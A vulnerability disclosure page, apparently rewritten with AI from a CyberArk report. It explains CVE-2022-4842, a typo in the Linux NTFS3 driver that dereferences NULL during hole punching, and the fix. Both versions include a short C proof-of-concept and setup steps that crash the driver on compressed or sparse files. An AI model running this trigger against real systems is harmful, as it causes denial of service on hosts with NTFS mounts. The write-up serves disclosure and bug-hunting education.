Skip to content
DoS Write-up Advanced

The Linux Kernel and the Cursed Driver

The NTFS3 driver in the Linux kernel dereferenced a pointer that was still null when handling a hole-punch request on a resident data attribute, because the code used the wrong variable name. An attacker able to punch a hole in a sparse or compressed file on a mounted NTFS filesystem could trigger a null pointer dereference and crash the driver.

Alon Zahavi Follow

Published on cyberark.com

NTFS is a filesystem developed by Microsoft that was introduced in 1993. Since then, it has become the primary filesystem for Windows.

Alon Zahavi (@Alon_Z4), on cyberark.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

NTFS is a filesystem Microsoft introduced in 1993, and it has since become the primary filesystem for Windows. As the need to use NTFS on macOS and Linux grew, new drivers were developed for those systems. In Linux 5.15, the NTFS3 driver was introduced to the community by Paragon Software, offering full read-write access to any NTFS image up to NTFS version 3.1. Among its features are support for sparse files and compressed files, and the ability to add extended attributes to NTFS files.

Most of the driver's source code is undocumented, which makes its features hard to track. The research behind this write-up came from reading the source code and from NTFS documentation published by Microsoft and Tuxera's NTFS-3G (a FUSE userspace filesystem framework with NTFS3 support in Linux).

Two years after the driver entered the mainline kernel, one of its contributors sent an email to the ntfs3 mailing list and to Linus Torvalds arguing that the driver should be considered an orphan, part of the kernel with no active maintainer, because the maintainers were not handling its maintenance properly.

That maintenance gap is the backdrop for the bug. In a regularly maintained codebase, as most Linux subsystems are, many people look at the code and fix bugs on a regular basis. For a niche filesystem like NTFS, fewer people read the code and fewer users hit bugs, so the chance of a bug being found and fixed is reduced.

From the original on cyberark.com

Setup

The feature in question is sparse file support. A sparse file is stored on disk in a way that consumes disk space more efficiently: you can save a 4GB file, mark 3GB of it as sparse, and the file takes only 1GB; when new data is written, space is allocated from what was previously sparse. VMware's VMDK is a good example, since a virtual disk can be requested at 300GB while the file on the host takes only a fraction of that until the space is actually used.

The method of interest is punch_hole, which deallocates space from a sparse file for later use. On an NTFS filesystem in Linux, a user punches a hole with fallocate, which zeroes partial filesystem blocks and removes whole filesystem blocks from a file, deallocating n bytes from a specific offset.

To implement punch hole, a filesystem driver implements a struct file_operations with a function pointer to a custom fallocate implementation. When fallocate is called, the kernel invokes the function pointed to by the .fallocate member of the struct that is part of the file's inode. The NTFS driver uses a struct of this type named ntfs_file_operations, whose .fallocate member points to ntfs_fallocate.

Some NTFS background is needed to follow the bug. An NTFS file is a combination of file attributes put together in a particular way; when reading a file, the driver searches for the desired attributes and parses the data. One attribute can be the File Name, another the Data, where the actual file data is stored. A file can have more than one Data attribute, and sparse files do: some Data attributes hold the default file data, others hold information about the sparse spaces. Attributes come in two kinds. A resident attribute fits in the MFT (Master File Table), which holds information on the NTFS entries on a disk; if it cannot fit, it is non-resident.

Finding it

The entry point is ntfs_fallocate. It first checks whether holes are supported for this inode:

C
static long ntfs_fallocate(struct file *file, int mode, loff_t vbo, loff_t len)
{
	...

	bool is_supported_holes = is_sparsed(ni) || is_compressed(ni);

	...

	/*
	 * vfs_fallocate checks all possible combinations of mode.
	 * Do additional checks here before ntfs_set_state(dirty).
	 */
	if (mode & FALLOC_FL_PUNCH_HOLE) {
		if (!is_supported_holes)
			return -EOPNOTSUPP;

Code Block 1: ntfs_fallocate, linux/fs/ntfs3/file.c

NTFS accepts punching holes only if the file is sparse or compressed. After further tests that are not shown, the function calls attr_punch_hole under the inode lock:

C
if (mode & FALLOC_FL_PUNCH_HOLE) {

	struct ntfs_inode *ni = ntfs_i(inode);

	...

	ni_lock(ni);
	err = attr_punch_hole(ni, vbo, len, &frame_size);
	ni_unlock(ni);

Code Block 2: ntfs_fallocate, linux/fs/ntfs3/file.c

attr_punch_hole deallocates attributes depending on the user's request. Its opening lines are where the problem sits:

C
int attr_punch_hole(struct ntfs_inode *ni, u64 vbo, u64 bytes, u32 *frame_size)
{
	struct ATTRIB *attr = NULL, *attr_b;

	...

	attr_b = ni_find_attr(ni, NULL, &le_b, ATTR_DATA, NULL, 0, NULL, &mi_b);
	if (!attr_b)
		return -ENOENT;

	if (!attr_b->non_res) {
		u32 data_size = le32_to_cpu(attr->res.data_size);

Code Block 3: attr_punch_hole, linux/fs/ntfs3/attrib.c

Walking through it:

  1. Two variables are declared. attr is set to NULL; attr_b is not initialised.
  2. ni_find_attr retrieves an attribute of the NTFS inode.
  3. If attr_b is not NULL, hence a valid attribute, the function checks whether the attribute is resident.
  4. If it is resident, it stores the value of attr->res.data_size in the local variable data_size.

Recapping with only the variable names: attr is NULL; attr_b stores an attribute of type struct ATTRIB; a check is performed on attr_b; and the function then uses attr to determine data_size.

"Despicable Me" (Universal Pictures, 2010).
"Despicable Me" (Universal Pictures, 2010). From the original on cyberark.com

The team first suspected they had missed something between the declaration and the dereference, but quickly concluded it was a typo that should not have been there. Copying code between codebases is common, so they searched for similar code. In the same file, in another function, attr_insert_range, they found:

C
if (!attr_b->non_res) {
	data_size = le32_to_cpu(attr_b->res.data_size);

Code Block 4: attr_punch_hole, linux/fs/ntfs3/attrib.c

This line is almost identical to the buggy one. The only difference is that here the function dereferences attr_b after a check on the same attr_b. That comparison confirmed the typo in attr_punch_hole could cause a NULL pointer dereference, reachable by calling fallocate with a request to punch a hole in an NTFS file.

Exploitation

Step 1: write a program that punches a hole

With the bug understood, the only remaining task was to trigger it and crash the driver. The team compiled a small program that opens a file and punches a hole into it:

C
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv) {

        int fd = open(argv[1], O_RDWR);

        if (!fd) {
                printf("fd error\n");
                exit(-1);
        }

        if(fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 30, 5) < 0) {
                printf("falloc error\n");
                exit(-1);
        }

        return 0;
}

Code Block 5: PoC code

The program opens the path given as its first argument read-write and calls fallocate with FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE. Running it on a sparse file saved on an NTFS filesystem triggers the NULL pointer dereference and should raise an oops, crashing the driver.

one-punch-man
one-punch-man From the original on cyberark.com

Step 2: satisfy the sparse or compressed precondition

The program will not work every time on a file saved on an NTFS filesystem, because the file has to be compressed or sparse, as the check in ntfs_fallocate requires. To validate the hypothesis, the team created such files. They marked the mountpoint directory for compression by setting the extended attribute system.ntfs_attrib with the flag FILE_ATTRIBUTE_COMPRESSED. Every new file is then created as a compressed file, and a hole can be punched inside it.

Step 3: rerun and read the oops

Rerunning the program on a compressed file produces the desired oops. The crash dump shows RIP holding a value pointing to attr_punch_hole with an additional offset, which confirms the oops came from the NULL pointer dereference that was found.

oops
oops From the original on cyberark.com

Crash Dump After Triggering The Bug

Step 4: understand the blast radius

The bug causes an oops, not a full system crash (a panic), because most Linux distributions today ship with the "panic on oops" option disabled. Some system administrators enable it; in those cases, triggering the bug automatically triggers a panic and crashes the whole system. Even without a panic, the crash leaves the driver almost useless in most cases, and a restart is the only way to reload a fully working driver.

Root cause

The mistake is a single wrong variable name. In attr_punch_hole, the code validates attr_b (returning -ENOENT if it is NULL) and then, for the resident case, reads attr->res.data_size instead of attr_b->res.data_size. attr was initialised to NULL and never assigned, so the dereference is always on a NULL pointer. The sibling function attr_insert_range in the same file does the same read correctly on attr_b, which is what made the typo obvious once the two were compared.

Existing defences did not stop it. The lack of maintenance and NTFS being a niche filesystem among most Linux users is, in the author's account, why the typo survived.

Impact

Abusing the vulnerability could lead to a denial-of-service attack on machines with a mounted NTFS filesystem. The bug fires every time a user punches a hole in a sparse or compressed file, so it is straightforward to reach. An attacker could have caused a DoS attack on a Linux server running with an NTFS filesystem. The effect is an oops that crashes the driver; whether the whole system goes down depends on whether "panic on oops" is enabled, and in the common case the driver stays unusable until a restart.

Fix

The fix is to add _b after attr:

  • From u32 data_size = le32_to_cpu(attr->res.data_size);
  • To u32 data_size = le32_to_cpu(attr_b->res.data_size);

The fix commit is at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/fs/ntfs3/attrib.c?id=[redacted].

The timeline:

Date Event
August 15, 2022 A fix patch was sent to the maintainer
September 30, 2022 The NTFS maintainer responded and applied the patch
December 21, 2022 The fix was merged into the Linux kernel
December 29, 2022 CVE-2022-4842 was assigned

Despite being a straightforward error that fires every time a user punches a hole in a file, the bug was part of the Linux kernel for over a year, a result of code that was not maintained as expected and of NTFS being a niche filesystem among most Linux users.

Variants to test

  1. Audit sibling functions for the same copy-paste pattern. Compare functions in the same file that share a prologue, such as attr_punch_hole and attr_insert_range. A positive result is a function that validates one pointer and then dereferences a different, uninitialised or NULL one.
  2. Grep for variables initialised to NULL and never reassigned before use. In kernel code, look for declarations like struct ATTRIB *attr = NULL, *attr_b; followed by a check on one name and a read from the other. A positive result is a dereference of the NULL-initialised name on a path where the checked name is non-NULL.
  3. Exercise fallocate modes on sparse and compressed files. On a test NTFS image, call fallocate with FALLOC_FL_PUNCH_HOLE (and FALLOC_FL_KEEP_SIZE) at various offsets and lengths, on both resident and non-resident Data attributes. A positive result is an oops whose RIP lands inside the fallocate path.
  4. Test the resident and non-resident branches separately. The buggy read sits inside if (!attr_b->non_res), so a file whose Data attribute is resident is the interesting case. A positive result is a crash only on the resident branch, which points at a branch-specific mistake rather than a general one.
  5. Check other filesystems' hole-punching paths. The same pattern, a validated pointer followed by a read from a different variable, can appear in any driver implementing .fallocate. A positive result is a NULL dereference reachable from an unprivileged fallocate call on a mounted image.
  6. Vary the "panic on oops" setting. Reproduce on a kernel with the option disabled and enabled to characterise the difference between a driver crash and a full system panic. A positive result is a panic on the enabled configuration, which raises the severity of the same bug.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A security researcher, Alon Zahavi, read through the source code of a piece of software that lets Linux computers read and write files stored in Microsoft's NTFS format, the format Windows uses for its disks. While reading, he spotted a typo: a line of code that was supposed to look at one thing but actually looked at an empty placeholder. When a user asked the system to do a particular file operation, that mistake made the computer try to read from a place that held nothing, which is a guaranteed crash. The crash leaves the NTFS driver almost useless until a restart, and on some configurations it can take down the whole machine. The researcher wrote a tiny program to prove it, and the fix turned out to be adding two characters to the line. The bug had been sitting in the Linux kernel for over a year.

This article walks through the whole story slowly, explaining every term as it appears. You do not need to know how to program to follow it; you only need to be comfortable using a computer.

From the original on cyberark.com

Background: what a filesystem is, and why NTFS matters on Linux

Every disk, whether a hard drive or a USB stick, stores files. Something has to keep track of where each file begins, where it ends, what it is called, and which parts of the disk belong to it. That something is called a filesystem. Think of it as the index and shelving system of a library: the books are your files, and the filesystem is the catalogue plus the rules for where each book sits.

NTFS is a filesystem Microsoft introduced in 1993, and it has since become the primary filesystem for Windows.

Linux, the operating system that runs most of the world's servers, has its own filesystems. But people often need to read Windows disks from Linux: a dual-boot laptop, a shared external drive, a server that receives disks formatted on Windows. So developers write drivers, which are pieces of software that teach one operating system how to talk to hardware or data formats it was not born knowing. A driver is like a translator hired to let two people who speak different languages work together.

In Linux version 5.15, a new NTFS driver called NTFS3 was introduced to the community by Paragon Software. It offers full read-write access to any NTFS image up to NTFS version 3.1. Among its features are support for sparse files and compressed files, and the ability to add extended attributes to NTFS files. We will explain each of those features when we reach them.

Most of the driver's source code is undocumented, which makes its features hard to track. The research behind this write-up came from reading the source code directly and from NTFS documentation published by Microsoft and by Tuxera's NTFS-3G, which is a FUSE userspace filesystem framework with NTFS3 support in Linux. In plain terms: the researcher had to reverse-engineer how the driver behaves by reading its instructions, because no manual explains them.

A driver nobody was looking after

Two years after the driver entered the mainline kernel (the central, official version of Linux that everyone downloads), one of its contributors sent an email to the ntfs3 mailing list and to Linus Torvalds, the creator and long-time leader of Linux. The email argued that the driver should be considered an orphan: a part of the kernel with no active maintainer, because the maintainers were not handling its maintenance properly.

Why does that matter for security? In a regularly maintained codebase, as most Linux subsystems are, many people look at the code and fix bugs on a regular basis. Imagine a busy office where every document is read by several colleagues; mistakes get caught quickly. For a niche filesystem like NTFS on Linux, fewer people read the code and fewer users hit bugs, so the chance of a bug being found and fixed is reduced.

The feature involved: sparse files

The feature in question is sparse file support. A sparse file is stored on disk in a way that consumes disk space more efficiently. You can save a 4GB file, mark 3GB of it as sparse, and the file takes only 1GB; when new data is written, space is allocated from what was previously sparse.

A useful everyday comparison: imagine a notebook where you reserve 300 pages for a project but only write on 40 of them. A normal filesystem would physically bind 300 blank pages; a sparse file just notes "pages 41 to 300 are reserved but empty" and only stores the 40 written ones. If you later need page 200, the system fills it in on the spot.

VMware's VMDK is a good example, since a virtual disk can be requested at 300GB while the file on the host takes only a fraction of that until the space is actually used. A virtual disk is a single large file that a virtual machine treats as if it were a real hard drive.

The method of interest is punch_hole, which deallocates space from a sparse file for later use. "Deallocate" means giving the space back to the pool of free disk space, so other files can use it. On an NTFS filesystem in Linux, a user punches a hole with a system call called fallocate, which zeroes partial filesystem blocks and removes whole filesystem blocks from a file, deallocating n bytes from a specific offset. A system call is simply a request a program makes to the operating system: "please do this low-level thing for me". An offset is a position measured from the start of the file, like a page number.

To implement punch hole, a filesystem driver implements a struct file_operations with a function pointer to a custom fallocate implementation. A struct is a bundle of related pieces of information grouped under one name, like a form with several fields. A function pointer is a note that says "when this operation is requested, run that piece of code over there". When fallocate is called, the kernel invokes the function pointed to by the .fallocate member of the struct that is part of the file's inode. An inode is the operating system's internal record for a file: its size, permissions, and where its data lives. The NTFS driver uses a struct of this type named ntfs_file_operations, whose .fallocate member points to ntfs_fallocate.

How NTFS stores a file: attributes

Some NTFS background is needed to follow the bug. An NTFS file is a combination of file attributes put together in a particular way. Think of a paper file folder: one sheet says the file's name, another holds the actual contents, another records timestamps. When reading a file, the driver searches for the desired attributes and parses the data. One attribute can be the File Name, another the Data, where the actual file data is stored.

A file can have more than one Data attribute, and sparse files do: some Data attributes hold the default file data, others hold information about the sparse spaces. This is how the notebook trick is implemented: the "real" pages and the "reserved but empty" pages are described separately.

Attributes come in two kinds. A resident attribute fits in the MFT (Master File Table), which holds information on the NTFS entries on a disk; if it cannot fit, it is non-resident. The MFT is the master catalogue of the disk, and it has limited room per entry, so small pieces of information live inside it while large ones are stored elsewhere and referenced.

Finding the bug: the entry point

The entry point is ntfs_fallocate. It first checks whether holes are supported for this inode:

C
static long ntfs_fallocate(struct file *file, int mode, loff_t vbo, loff_t len)
{
	...

	bool is_supported_holes = is_sparsed(ni) || is_compressed(ni);

	...

	/*
	 * vfs_fallocate checks all possible combinations of mode.
	 * Do additional checks here before ntfs_set_state(dirty).
	 */
	if (mode & FALLOC_FL_PUNCH_HOLE) {
		if (!is_supported_holes)
			return -EOPNOTSUPP;

Code Block 1: ntfs_fallocate, linux/fs/ntfs3/file.c

Line by line, in plain words:

  1. static long ntfs_fallocate(...) declares the function that handles the fallocate request. The parameters are the file being worked on, the mode (what kind of operation is requested), and the starting position and length of the region.
  2. bool is_supported_holes = is_sparsed(ni) || is_compressed(ni); asks two questions: is this file sparse, or is it compressed? If either answer is yes, holes are supported. The || means "or".
  3. The comment explains that the general layer above already checked the combinations of modes, and that extra checks happen here before the file is marked as modified.
  4. if (mode & FALLOC_FL_PUNCH_HOLE) asks: is the requested operation a punch-hole operation? The & is a bit-level test, like checking whether a particular switch on a control panel is flipped.
  5. If it is, and holes are not supported, the function returns -EOPNOTSUPP, an error code meaning "this operation is not supported".

So NTFS accepts punching holes only if the file is sparse or compressed. This is a functional rule, not a security check, and it will matter later: it decides which files can reach the buggy code.

After further tests that are not shown, the function calls attr_punch_hole under the inode lock:

C
if (mode & FALLOC_FL_PUNCH_HOLE) {

	struct ntfs_inode *ni = ntfs_i(inode);

	...

	ni_lock(ni);
	err = attr_punch_hole(ni, vbo, len, &frame_size);
	ni_unlock(ni);

Code Block 2: ntfs_fallocate, linux/fs/ntfs3/file.c

Again in plain words:

  1. The same check for a punch-hole request is repeated.
  2. struct ntfs_inode *ni = ntfs_i(inode); fetches the NTFS-specific record for this file, so the code below can work with NTFS details rather than generic ones.
  3. ni_lock(ni); takes a lock on that record. A lock stops two parts of the system from changing the same data at the same time, like a meeting room key that only one person can hold.
  4. err = attr_punch_hole(ni, vbo, len, &frame_size); does the real work: it asks the attribute-level function to punch the hole at the requested position and length, and stores the result in err.
  5. ni_unlock(ni); releases the lock so others can use the record again.

attr_punch_hole deallocates attributes depending on the user's request. Its opening lines are where the problem sits:

C
int attr_punch_hole(struct ntfs_inode *ni, u64 vbo, u64 bytes, u32 *frame_size)
{
	struct ATTRIB *attr = NULL, *attr_b;

	...

	attr_b = ni_find_attr(ni, NULL, &le_b, ATTR_DATA, NULL, 0, NULL, &mi_b);
	if (!attr_b)
		return -ENOENT;

	if (!attr_b->non_res) {
		u32 data_size = le32_to_cpu(attr->res.data_size);

Code Block 3: attr_punch_hole, linux/fs/ntfs3/attrib.c

Walking through it:

  1. Two variables are declared. attr is set to NULL; attr_b is not initialised. NULL is a special value meaning "points at nothing". A variable is like a labelled box; setting it to NULL means the box is empty and holds no address. attr_b is a second box with no contents yet.
  2. ni_find_attr(...) retrieves an attribute of the NTFS inode, specifically a Data attribute, and stores it in attr_b. This is the search through the file folder for the sheet holding the data.
  3. if (!attr_b) return -ENOENT; checks whether the search came back empty. If attr_b is NULL, the function stops with -ENOENT, an error meaning "no such entry". This is a sensible safety check: do not continue if there is nothing to work with.
  4. if (!attr_b->non_res) asks whether the attribute is resident, that is, small enough to live inside the MFT. The -> notation means "the field called non_res inside the thing attr_b points to".
  5. u32 data_size = le32_to_cpu(attr->res.data_size); is the bug. It reads the data size from attr, not from attr_b. But attr was set to NULL at the start and never given a value. Reading a field from NULL is like asking a librarian to fetch a book from a shelf that does not exist: the system has no idea where to look and crashes.

Recapping with only the variable names: attr is NULL; attr_b stores an attribute of type struct ATTRIB; a check is performed on attr_b; and the function then uses attr to determine data_size. The check guards one box while the read uses the other.

"Despicable Me" (Universal Pictures, 2010).
"Despicable Me" (Universal Pictures, 2010). From the original on cyberark.com

Confirming it was a typo

The team first suspected they had missed something between the declaration and the dereference, but quickly concluded it was a typo that should not have been there. A dereference is the act of following a pointer to reach the data it refers to; dereferencing NULL is the classic way to crash a program.

Copying code between codebases is common, so they searched for similar code. In the same file, in another function, attr_insert_range, they found:

C
if (!attr_b->non_res) {
	data_size = le32_to_cpu(attr_b->res.data_size);

Code Block 4: attr_punch_hole, linux/fs/ntfs3/attrib.c

This line is almost identical to the buggy one. The only difference is that here the function dereferences attr_b after a check on the same attr_b. In other words, the second function does the obvious thing: it checks a box, then reads from that same box. The first function checks one box and reads from another. Seeing the correct version side by side made the mistake unmistakable.

That comparison confirmed the typo in attr_punch_hole could cause a NULL pointer dereference, reachable by calling fallocate with a request to punch a hole in an NTFS file. A NULL pointer dereference is the vulnerability class here: the program tries to use an address that points to nothing, and the operating system stops it, usually by crashing the offending component.

Proving it: writing a small program

With the bug understood, the only remaining task was to trigger it and crash the driver. The team compiled a small program that opens a file and punches a hole into it:

C
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv) {

        int fd = open(argv[1], O_RDWR);

        if (!fd) {
                printf("fd error\n");
                exit(-1);
        }

        if(fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 30, 5) < 0) {
                printf("falloc error\n");
                exit(-1);
        }

        return 0;
}

Code Block 5: PoC code

A PoC, or proof of concept, is a small demonstration that a suspected bug really works. Line by line:

  1. The three #include lines pull in standard libraries: tools for basic operations, for printing text, and for opening files.
  2. int main(int argc, char **argv) is the starting point of the program. argv[1] will hold the file path the user types on the command line.
  3. int fd = open(argv[1], O_RDWR); opens that file for reading and writing. fd stands for file descriptor, a number the operating system hands back so the program can refer to the open file later, like a ticket number at a repair shop.
  4. if (!fd) checks whether opening failed; if so, it prints an error and exits.
  5. fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 30, 5) is the actual request: punch a hole in the open file, keep the file's size unchanged, at the given position and length. The | combines two flags, like ticking two boxes on a form.
  6. If the call returns a negative value, the program prints an error and exits; otherwise it finishes quietly.

Running it on a sparse file saved on an NTFS filesystem triggers the NULL pointer dereference and should raise an oops, crashing the driver. An oops is the Linux kernel's way of reporting that something inside it went badly wrong: it prints a diagnostic report and stops the affected code. It is less severe than a panic, which halts the entire machine.

one-punch-man
one-punch-man From the original on cyberark.com

Making sure the file qualifies

The program will not work every time on a file saved on an NTFS filesystem, because the file has to be compressed or sparse, as the check in ntfs_fallocate requires. This is the precondition from Code Block 1 in action: if the file is neither sparse nor compressed, the request is rejected before it ever reaches the buggy line.

To validate the hypothesis, the team created such files. They marked the mountpoint directory for compression by setting the extended attribute system.ntfs_attrib with the flag FILE_ATTRIBUTE_COMPRESSED. An extended attribute is a small named note attached to a file or folder, beyond the usual name and size, that programs can read to change behaviour. A mountpoint is the folder where a disk or filesystem is attached to the rest of the directory tree, like a door connecting two rooms.

Setting that note on the folder means every new file is then created as a compressed file, and a hole can be punched inside it. This step exists purely to satisfy the gate that guards the buggy code.

Reading the crash

Rerunning the program on a compressed file produces the desired oops. The crash dump shows RIP holding a value pointing to attr_punch_hole with an additional offset, which confirms the oops came from the NULL pointer dereference that was found. RIP is the register that tells the processor where it was executing when the crash happened; seeing the name of the buggy function there is the fingerprint that ties the crash to the suspected line.

oops
oops From the original on cyberark.com

Crash Dump After Triggering The Bug

How bad is it?

The bug causes an oops, not a full system crash (a panic), because most Linux distributions today ship with the "panic on oops" option disabled. A distribution is a packaged version of Linux, such as the ones you install on a laptop or server. Some system administrators enable that option; in those cases, triggering the bug automatically triggers a panic and crashes the whole system. Even without a panic, the crash leaves the driver almost useless in most cases, and a restart is the only way to reload a fully working driver.

This is a denial-of-service outcome: the attacker does not steal data or take control, but makes a service unavailable. If a server relies on an NTFS disk, an attacker could cause a denial-of-service attack on it.

The root cause, stated simply

The mistake is a single wrong variable name. In attr_punch_hole, the code validates attr_b (returning -ENOENT if it is NULL) and then, for the resident case, reads attr->res.data_size instead of attr_b->res.data_size. attr was initialised to NULL and never assigned, so the dereference is always on a NULL pointer. The sibling function attr_insert_range in the same file does the same read correctly on attr_b, which is what made the typo obvious once the two were compared.

Existing defences did not stop it. The lack of maintenance and NTFS being a niche filesystem among most Linux users is, in the author's account, why the typo survived.

The fix

The fix is to add _b after attr:

  • From u32 data_size = le32_to_cpu(attr->res.data_size);
  • To u32 data_size = le32_to_cpu(attr_b->res.data_size);

The fix commit is at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/fs/ntfs3/attrib.c?id=[redacted]. A commit is a recorded change to a codebase, with a message explaining what was changed and why.

The timeline:

Date Event
August 15, 2022 A fix patch was sent to the maintainer
September 30, 2022 The NTFS maintainer responded and applied the patch
December 21, 2022 The fix was merged into the Linux kernel
December 29, 2022 CVE-2022-4842 was assigned

A CVE is a public identifier for a known vulnerability, so that people can talk about the same bug unambiguously. Despite being a straightforward error that fires every time a user punches a hole in a file, the bug was part of the Linux kernel for over a year, a result of code that was not maintained as expected and of NTFS being a niche filesystem among most Linux users.

Things worth testing elsewhere

These are the follow-up checks the write-up suggests, explained for a newcomer:

  1. Audit sibling functions for the same copy-paste pattern. Compare functions in the same file that share a prologue, such as attr_punch_hole and attr_insert_range. A positive result is a function that validates one pointer and then dereferences a different, uninitialised or NULL one. Copy-paste is how the correct line and the wrong line ended up looking so similar.
  2. Grep for variables initialised to NULL and never reassigned before use. In kernel code, look for declarations like struct ATTRIB *attr = NULL, *attr_b; followed by a check on one name and a read from the other. A positive result is a dereference of the NULL-initialised name on a path where the checked name is non-NULL. To grep is to search text for a pattern.
  3. Exercise fallocate modes on sparse and compressed files. On a test NTFS image, call fallocate with FALLOC_FL_PUNCH_HOLE (and FALLOC_FL_KEEP_SIZE) at various offsets and lengths, on both resident and non-resident Data attributes. A positive result is an oops whose RIP lands inside the fallocate path.
  4. Test the resident and non-resident branches separately. The buggy read sits inside if (!attr_b->non_res), so a file whose Data attribute is resident is the interesting case. A positive result is a crash only on the resident branch, which points at a branch-specific mistake rather than a general one. A branch is one path through an if/else decision.
  5. Check other filesystems' hole-punching paths. The same pattern, a validated pointer followed by a read from a different variable, can appear in any driver implementing .fallocate. A positive result is a NULL dereference reachable from an unprivileged fallocate call on a mounted image. Unprivileged means an ordinary user, not an administrator.
  6. Vary the "panic on oops" setting. Reproduce on a kernel with the option disabled and enabled to characterise the difference between a driver crash and a full system panic. A positive result is a panic on the enabled configuration, which raises the severity of the same bug.

Glossary

  • Attribute (NTFS): a named piece of information that makes up an NTFS file, such as its name or its data.
  • Branch: one path through a decision in code, such as the "if" side or the "else" side.
  • Commit: a recorded change to a codebase, with a message describing it.
  • CVE: a public identifier assigned to a known vulnerability so people can refer to it unambiguously.
  • Denial-of-service (DoS): an attack that makes a service unavailable rather than stealing data or taking control.
  • Dereference: following a pointer to reach the data it refers to; dereferencing NULL crashes the program.
  • Distribution: a packaged version of Linux, such as the one installed on a laptop or server.
  • Driver: software that teaches an operating system how to work with a piece of hardware or a data format.
  • Extended attribute: a small named note attached to a file or folder, beyond its name and size, that programs can read.
  • fallocate: a Linux system call that reserves or releases space in a file, including punching holes.
  • File descriptor: a number the operating system hands back when a program opens a file, used to refer to it later.
  • Filesystem: the system that organises how files are stored and found on a disk.
  • Function pointer: a stored reference that says which piece of code to run for a given operation.
  • FUSE: a framework that lets filesystems run in ordinary user programs rather than inside the kernel.
  • Grep: to search text for a pattern.
  • Inode: the operating system's internal record for a file, holding its size, permissions and data location.
  • Kernel: the core of an operating system, which manages hardware, memory and processes.
  • Lock: a mechanism that stops two parts of the system from changing the same data at the same time.
  • Mainline kernel: the central, official version of Linux that everyone downloads.
  • MFT (Master File Table): the master catalogue of an NTFS disk, holding information about its entries.
  • Mountpoint: the folder where a disk or filesystem is attached to the rest of the directory tree.
  • Non-resident attribute: an NTFS attribute too large to fit in the MFT, stored elsewhere and referenced.
  • NTFS: the primary filesystem used by Windows, introduced by Microsoft in 1993.
  • NTFS3: the Linux driver for NTFS, introduced in Linux 5.15 by Paragon Software.
  • NULL: a special value meaning "points at nothing".
  • NULL pointer dereference: a bug where a program tries to use an address that points to nothing, usually crashing the component.
  • Offset: a position measured from the start of a file.
  • Oops: the Linux kernel's report that something inside it went badly wrong; it stops the affected code.
  • Orphan (in kernel terms): a part of the kernel with no active maintainer.
  • Panic: a full halt of the operating system, more severe than an oops.
  • PoC (proof of concept): a small demonstration that a suspected bug really works.
  • Resident attribute: an NTFS attribute small enough to fit inside the MFT.
  • RIP: the processor register that records where execution was when a crash happened.
  • Sparse file: a file stored so that reserved but empty regions take no disk space until used.
  • Struct: a bundle of related pieces of information grouped under one name.
  • System call: a request a program makes to the operating system to perform a low-level operation.
  • Unprivileged: running as an ordinary user, without administrator rights.
  • Virtual disk: a single large file that a virtual machine treats as if it were a real hard drive.
  • VMDK: VMware's format for virtual disks, often stored as a sparse file.

More from Linux Kernel Organization

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.